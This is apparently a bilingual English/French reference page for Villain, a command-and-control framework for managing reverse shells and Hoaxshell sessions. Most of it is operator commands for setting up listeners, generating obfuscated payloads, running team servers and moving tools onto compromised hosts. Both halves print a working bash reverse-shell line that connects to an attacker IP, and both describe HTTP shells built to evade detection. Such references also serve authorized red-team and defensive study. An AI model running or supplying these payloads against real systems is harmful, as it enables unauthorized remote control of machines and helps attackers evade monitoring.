villain
Framework C2 pour gérer les reverse shells et les sessions basées sur Hoaxshell. Supporte les cibles Windows et Linux, les upgrades de shell, et la collaboration multi-opérateur. C2 framework for managing reverse shells and Hoaxshell-based sessions. Supports Windows and Linux targets, shell upgrades, and multi-operator collaboration.
↗ https://github.com/t3l3machus/VillainOverview
Villain is a C2 framework designed to manage reverse shell connections and Hoaxshell-based sessions. It supports Windows and Linux targets, offers shell upgrades (raw → pseudo-interactive), and supports team collaboration with multiple operators. Lighter than full C2 frameworks — focused on shell management.
Installation
git clone https://github.com/t3l3machus/Villain
cd Villain
pip3 install -r requirements.txt
Basic Usage
Start Villain (default: listen on 0.0.0.0)
python3 Villain.py
Start with specific port
python3 Villain.py -p 6705
Backdoor listener on specific port
python3 Villain.py -x 8888
Multi-user mode (allow team connections)
python3 Villain.py -u admin -P 8000
Villain Shell Commands
# Inside the Villain console:
generate → Generate reverse shell payload
sessions → List active sessions
use <id> → Interact with a session
kill <id> → Terminate a session
upload → Upload file to session
download → Download file from session
help → Show help
Generating Payloads
Inside Villain console:
generate
→ Then choose: OS: windows or linux Payload type: tcp, hoaxshell, etc. Encoding and obfuscation options
Example Windows payload generated:
powershell -e <BASE64_ENCODED_PAYLOAD>
Example Linux payload:
bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'
Listeners
# Villain automatically opens listeners
# Default backdoor port: 6705 (shell connections)
# Default server port: 8888 (Hoaxshell HTTP)
Set your attacker IP
python3 Villain.py -s 10.10.10.50
Use SSL for encrypted channels
python3 Villain.py --ssl
Multi-Operator (Team Mode)
Start Villain as server
python3 Villain.py -u admin -P 65535
Connect as operator from another machine
python3 Villain.py -c 10.10.10.50 -P 65535
→ Enter: admin (or configured user)
Hoaxshell Integration
# Villain integrates Hoaxshell for HTTP-based shells
# When a session connects via Hoaxshell:
# - Traffic looks like normal HTTP
# - Uses chunked transfer for commands/responses
# - Harder to detect than raw TCP shells
Generate Hoaxshell payload from Villain console:
generate
→ → Select: Windows → Hoaxshell
Tips
- Villain is best for quick shell management without full C2 overhead
- Hoaxshell sessions blend into normal HTTP traffic
- Use
uploadto transfer tools to compromised hosts without writing to disk paths - For larger engagements, graduate to Sliver or Havoc for full C2 capability
Help / Man page
python3 Villain.py [options]
-p PORT Backdoor listener port (default: 6705)
-x PORT Hoaxshell listener port (default: 8888)
-s IP Your server IP for payload generation
-c HOST Connect to remote Villain instance (team mode)
-P PORT Team server port
-u USER Username for team mode
--ssl Enable SSL
--certfile SSL cert file
--keyfile SSL key file
Vue d’ensemble
Villain est un framework C2 conçu pour gérer les connexions reverse shell et les sessions basées sur Hoaxshell. Il supporte les cibles Windows et Linux, propose des upgrades de shell (brut vers pseudo-interactif), et supporte la collaboration en équipe avec plusieurs opérateurs. Plus léger que les frameworks C2 complets : focalisé sur la gestion de shells.
Installation
git clone https://github.com/t3l3machus/Villain
cd Villain
pip3 install -r requirements.txt
Utilisation de base
# Démarrer Villain (par défaut : écoute sur 0.0.0.0)
python3 Villain.py
# Démarrer avec un port spécifique
python3 Villain.py -p 6705
# Listener de backdoor sur un port spécifique
python3 Villain.py -x 8888
# Mode multi-utilisateur (autoriser les connexions en équipe)
python3 Villain.py -u admin -P 8000
Commandes de la console Villain
# Dans la console Villain :
generate → Générer un payload de reverse shell
sessions → Lister les sessions actives
use <id> → Interagir avec une session
kill <id> → Terminer une session
upload → Envoyer un fichier vers la session
download → Récupérer un fichier depuis la session
help → Afficher l'aide
Génération de payloads
Dans la console Villain :
generate
Puis choisir : OS (windows ou linux), type de payload (tcp, hoaxshell, etc.), options d’encodage et d’obfuscation
Exemple de payload Windows généré :
powershell -e <BASE64_ENCODED_PAYLOAD>
Exemple de payload Linux :
bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'
Listeners
# Villain ouvre automatiquement des listeners
# Port de backdoor par défaut : 6705 (connexions shell)
# Port serveur par défaut : 8888 (Hoaxshell HTTP)
# Définir votre IP attaquante
python3 Villain.py -s 10.10.10.50
# Utiliser SSL pour des canaux chiffrés
python3 Villain.py --ssl
Multi-opérateur (mode équipe)
# Démarrer Villain en tant que serveur
python3 Villain.py -u admin -P 65535
# Se connecter en tant qu'opérateur depuis une autre machine
python3 Villain.py -c 10.10.10.50 -P 65535
Saisir : admin (ou l’utilisateur configuré)
Intégration Hoaxshell
# Villain intègre Hoaxshell pour les shells basés sur HTTP
# Quand une session se connecte via Hoaxshell :
# - Le trafic ressemble à du HTTP normal
# - Utilise le transfert par chunks pour les commandes/réponses
# - Plus difficile à détecter que les shells TCP bruts
Générer un payload Hoaxshell depuis la console Villain :
generate
Puis sélectionner : Windows → Hoaxshell
Conseils
- Villain est idéal pour une gestion rapide de shells sans la lourdeur d’un C2 complet
- Les sessions Hoaxshell se fondent dans le trafic HTTP normal
- Utiliser
uploadpour transférer des outils vers des hôtes compromis sans écrire sur des chemins disque - Pour des missions plus importantes, passer à Sliver ou Havoc pour des capacités C2 complètes
Aide / Page de manuel
python3 Villain.py [options]
-p PORT Backdoor listener port (default: 6705)
-x PORT Hoaxshell listener port (default: 8888)
-s IP Your server IP for payload generation
-c HOST Connect to remote Villain instance (team mode)
-P PORT Team server port
-u USER Username for team mode
--ssl Enable SSL
--certfile SSL cert file
--keyfile SSL key file